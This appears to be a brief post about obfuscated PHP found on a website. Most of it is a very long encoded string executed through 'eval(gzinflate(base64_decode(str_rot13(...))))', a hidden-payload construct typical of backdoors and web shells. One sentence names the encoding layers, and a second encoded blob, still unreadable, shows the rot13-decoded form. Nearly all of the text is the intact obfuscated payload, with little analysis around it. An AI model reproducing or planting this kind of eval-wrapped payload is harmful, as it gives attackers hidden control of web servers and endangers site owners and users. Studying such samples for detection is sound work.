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";@eval(gzinflate(base64_decode(str_rot13($code)))); ?>


Php code obfuscated using rot13 base64 encoding and gzip compression. Using http://rot13-encoder-decoder.waraxe.us/ online rot13 decoder I converted the $code part in the following,



   1: 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